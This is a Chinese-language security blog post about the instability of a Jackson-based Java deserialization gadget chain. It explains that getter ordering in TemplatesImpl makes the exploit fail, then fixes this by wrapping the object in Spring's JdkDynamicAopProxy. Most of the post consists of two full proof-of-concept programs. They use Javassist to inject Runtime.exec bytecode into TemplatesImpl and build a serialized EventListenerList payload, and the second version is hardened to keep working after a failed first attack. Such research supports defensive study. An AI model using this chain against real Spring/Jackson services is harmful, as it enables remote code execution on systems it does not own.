Jackson中getter触发不稳定问题
发表于:2025-08-28 | 分类: Java

Jackson中getter触发不稳定问题

前言

最近在分析《高版本JDKSpring原生反序列化链》时,其中有一个知识点为《JACKSON链的不稳定性》,前来学习一下(有个很奇怪很奇怪的事情,为什么我的Jackson链子十分的稳定,outputProperties总是第一名……初步猜测为本人电脑环境问题)

问题背景

在调用该Jackson链,调用任意类的getter方法时,有时会爆出以下错误(当然我没有这种问题,但我很想有)

1
com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["stylesheetDOM"])

在Jackson链调用TemplateImpl类的getter方法时,当getStylesheetDOM方法优先级较高时,由于_sdom为空,所以会爆出上面的错误

在打该Jackson链时,如果getStylesheetDOM优先级较高,导致我们攻击失败,由于存在缓存机制,第一次攻击时会创建缓存,在第一次攻击失败后面的攻击就不会再成功,因此解决这个问题是比较必要的

Jackson链不稳定性问题分析

漏洞环境

  • SpringBoot 2.7.5
  • JDK8u65

Jackson链的不稳定性原因

发序列化流程

这篇文章中讨论的是Jackson链不稳定性问题,反序列化流程就不过多赘述了,大致流程如下
1
EventListenerList#readObject --> POJONode#toString --> TemplateImpl#getOutputProperties

这里给出一个Poc,师傅们可以自行找一些文章进行学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public class Poc {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();

CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();

Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", null);

//利用 JdkDynamicAopProxy 进行封装使其稳定触发
// Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
// Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
// cons.setAccessible(true);
// AdvisedSupport advisedSupport = new AdvisedSupport();
// advisedSupport.setTarget(templatesImpl);
// InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
// Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

POJONode jsonNodes = new POJONode(templatesImpl);

Vector vector = new Vector<>();
vector.add(jsonNodes);

UndoManager undoManager = new UndoManager();
Field edits = undoManager.getClass().getSuperclass().getDeclaredField("edits");
edits.setAccessible(true);
edits.set(undoManager, vector);

EventListenerList eventListenerList = new EventListenerList();
setFieldValue(eventListenerList, "listenerList", new Object[]{Class.class,undoManager});

serialize(eventListenerList);
unserialize();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
}
}

根本原因

总的来说就是,在POJONode#toString方法调用TemplateImpl的getter方法时,三个getter方法的优先级是随机的,而getStylesheetDOM方法优先级较高时,会由于_sdom值为空,因此抛出异常

BeanSerializerBase#serializeFields方法中打一个断点,在该方法中我们可以看到,三个getter的顺序如下(这里我的顺序并没有随机性的体现,很奇怪)

outputProperties优先级高于stylesheetDOM时,这个payload才可以打得通

在后面调用了prop.serializeAsFiled方法,该方法中就会通过反射调用对应getter方法

不稳定性问题解决

分析

我们可以通过JdkDynamicAopProxy来解决Jackson链的不稳定性问题

在JAVA中,代理对象所能被调用的方法取决于我们所给的接口,而其功能取决于我们所给的handler对象。在我们利用getDeclareMethods方法获取其所有方法时,也是根据我们提供的接口获取的

我们可以写一个Demo来测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class proxy {
public static void main(String[] args) {

Object myProxy = Proxy.newProxyInstance(TemplatesImpl.class.getClassLoader(), new Class[]{Templates.class}, new testHandler());
for (Method m : myProxy.getClass().getDeclaredMethods()) {
System.out.println(m.getName());
}
}
}

class testHandler implements InvocationHandler {

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return null;
}
}

javax.xml.transform.Templates接口中,只有newTransformergetOutputProperties这两个方法,当Templates作为我们代理所需的接口时,通过getDeclaredMethodsgetDeclaredMethods方法获取的方法只有newTransfomergetOutputProperties方法,因此获取的getter方法也只有getOutputProperties

假如我们传入该代理时,最后就会对该代理调用getOutputProperties方法,对代理调用任意方法时,就会触发该代理对应handler的invoke方法,不会走到我们想走到的getOutputProperties方法

那么我们就要找到一个handler,他的invoke方法中会执行我们所调用的方法

JdkDynamicAopProxy 是 Spring 框架中的一个类,它实现了 JDK 动态代理机制,用于创建代理对象来实现面向切面编程(AOP)的功能

我们看到JdkDynamicAopProxy的invoke方法中

在最后的AopUtils.invokeJoinpointUsingReflection方法中,会通过反射执行我们所调用的方法

这里的target是从targetSource中获取的

targetSource是从this.advised中得到的

看到JdkDynamicAopProxy的构造方法中,可以发现this.advised是可控的

因此在构造JdkDynamicAopProxy代理时,可以将我们的TemplateImpl对象用AdvisedSupport进行封装,然后传入JdkDynamicAopProxy

由此构造出我们想要的代理对象,构造代码如下

1
2
3
4
5
6
7
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

POC

整体的POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
public class Poc {

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();

CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();

Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", null);

//利用 JdkDynamicAopProxy 进行封装使其稳定触发
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

POJONode jsonNodes = new POJONode(proxyObj);

Vector vector = new Vector<>();
vector.add(jsonNodes);

UndoManager undoManager = new UndoManager();
Field edits = undoManager.getClass().getSuperclass().getDeclaredField("edits");
edits.setAccessible(true);
edits.set(undoManager, vector);

EventListenerList eventListenerList = new EventListenerList();
setFieldValue(eventListenerList, "listenerList", new Object[]{Class.class,undoManager});

serialize(eventListenerList);
unserialize();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
}
}

使用JdkDynamicAopProxy代理后,我们调试到serializeFileds方法时,可以看到就只有这一个getter方法了

就算使用原来的 payload打失败了该payload也可以继续使用,无视其缓存机制,因为其最终调用的getter方法只有 getOutputProperties

上一篇:
高版本JDKSpring原生反序列化链
下一篇:
EventListenerList触发任意toString